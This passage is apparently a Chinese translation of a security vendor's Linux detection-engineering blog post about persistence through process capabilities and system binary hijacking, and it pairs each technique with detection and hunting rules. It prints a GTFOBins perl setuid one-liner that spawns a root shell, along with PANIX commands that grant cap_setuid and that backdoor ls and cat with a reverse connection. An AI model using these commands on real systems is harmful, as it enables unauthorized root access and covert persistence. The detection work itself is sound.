(操纵 UID/GID)CAP_SYS_ADMIN
(说实话,这仅仅意味着 root 访问权限)
建立持久性的一种简单方法是授予进程 CAP_SETUID
或 CAP_SETGID
能力(这类似于将 SUID
/SGID
位设置为一个进程,我们在之前的持久性博客中讨论过)。但是,以上所有方法都可以使用,可以发挥一点创造力!MITRE 没有专门针对进程能力的技术。与 Setuid/Setgid 类似,此技术可用于提升权限和持久性。根据 MITRE ATT&CK 框架的现有结构,将此机制添加到其中的最合乎逻辑的技术是 T1548。
通过 T1548 - 进程能力实现持久性
让我们利用 PANIX 通过运行以下命令来设置具有 CAP_SETUID
进程能力的进程
> sudo ./panix.sh --cap --default
[+] Capability setuid granted to /usr/bin/perl
[-] ruby, is not present on the system.
[-] php is not present on the system.
[-] python is not present on the system.
[-] python3, is not present on the system.
[-] node is not present on the system.
PANIX 默认情况下会检查在授予 CAP_SETUID
能力后容易被利用的进程列表。你可以使用 --custom
并指定 --capability
和 --binary
来测试你自己的内容。
如果你的系统有 Perl
,你可以查看 GTFOBins,了解如何使用此能力集提升权限。
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# whoami
root
查看 Discover 中的日志,我们可以看到以下情况
我们可以看到 PANIX 以 uid=0
(root) 执行,这会授予 /usr/bin/perl
cap_setuid+ep
(有效和允许)。有效表示该能力当前对进程处于活动状态,而允许表示该进程允许使用该能力。请注意,所有 uid=0
的事件都设置了所有有效/允许的能力。在授予此能力并降级到用户权限后,perl
将被执行并操纵其自己的进程 UID 以获得 root 访问权限。请随意尝试不同的二进制文件/权限。
由于我们有大量与进程能力相关的规则(用于发现、持久性和权限提升活动),我们不会在此处列出所有规则。相反,你可以查看 这篇博客文章,深入了解此主题。
通过 T1548 - 进程能力搜索持久性
可以通过 ES|QL 完成进程能力持久性的搜索。我们可以进行一般搜索并查找具有设置能力的非 uid 0 二进制文件,或搜索特定的潜在危险能力。为此,我们创建了 进程能力搜索规则。
T1554 - 危害主机软件二进制文件:劫持系统二进制文件
在获得对系统的访问权限后,如果需要,将权限提升到 root 访问权限,系统二进制文件劫持/包装是建立持久性的另一种选择。此方法依赖于用户对系统二进制文件的信任和频繁执行。
位于 /bin
、/sbin
、/usr/bin
和 /usr/sbin
等目录中的系统二进制文件通常被用户/管理员用于执行基本任务。攻击者可以通过替换或后门化它们为恶意副本,从而劫持这些系统二进制文件。经常使用的系统二进制文件(如 cat
、ls
、cp
、mv
、less
或 sudo
)是完美的选择,因为此机制依赖于用户执行二进制文件。
通过这种方法建立持久性有多种方法。攻击者可能会操纵系统的 $PATH
环境变量,以优先选择恶意二进制文件而不是常规系统二进制文件。另一种方法是替换真实的系统二进制文件,在启动时执行任意恶意代码,然后再执行常规命令。
攻击者可以在利用此技术时发挥创造力,因为可以执行任何代码。例如,可以对系统范围的 sudo
/su
二进制文件进行后门处理,以便在用户每次尝试使用 sudo
运行命令时捕获密码。另一种方法是每次执行二进制文件时都建立反向连接,或者在每次二进制文件执行时都调用后门二进制文件。只要攻击者隐藏得很好,并且没有向用户显示错误,此技术就很难检测到。MITRE 没有直接引用此技术,但它可能最适合 T1554。
让我们看一下劫持系统二进制文件可能是什么样子。
通过 T1554 - 劫持系统二进制文件实现持久性
PANIX 中系统二进制文件劫持的实现利用了系统二进制文件的包装来建立与指定 IP 的反向连接。你可以参考此示例或通过执行以下命令进行设置
> sudo ./panix.sh --system-binary --default --ip 192.168.1.1 --port 2016
> [+] cat backdoored successfully.
> [+] ls backdoored successfully.
现在,执行 ls
或 cat
以建立持久性。让我们分析一下日志。
在上图中,我们看到 PANIX 正在执行,将 /usr/bin/ls
移动到 /usr/bin/ls.original
。然后它会后门 /usr/bin/ls
以执行任意代码,之后它调用 /usr/bin/ls.original
以欺骗用户。之后,我们看到 bash
正在设置反向连接。系统二进制文件的复制/重命名以及劫持 sudo
二进制文件的行为都记录在以下检测规则中。
类别 | 覆盖范围 |
---|---|
文件 | 系统二进制文件被移动或复制 |
潜在的 Sudo 劫持 |
通过 T1554 寻找持久性 - 劫持系统二进制文件
此活动应该非常不常见,因此可以利用上面的检测规则进行查找。另一种查找此活动的方法是收集一个不常见的二进制文件列表来生成子进程。为了帮助这个过程,我们创建了 不寻常的系统二进制父进程(潜在的系统二进制劫持尝试) 查找规则。
结论
在我们“Linux 检测工程”系列的这一部分中,我们探讨了更高级的 Linux 持久性技术和检测策略,包括初始化系统、运行控制脚本、每日消息、udev(规则)、包管理器、Git、进程功能和系统二进制劫持。如果您错过了上一部分关于持久性的内容,请点击此处补上。
我们不仅解释了每种技术,还演示了如何使用 PANIX 来实现它们。这种动手实践的方法使您能够评估自己的安全设置中的检测能力。我们的讨论包括检测和端点规则覆盖范围,并引用了有效的查找策略,从 ES|QL 聚合查询到实时 OSQuery 查找。
我们希望您觉得这种形式的信息很有帮助。请继续关注有关 Linux 检测工程的更多见解。祝您查找愉快!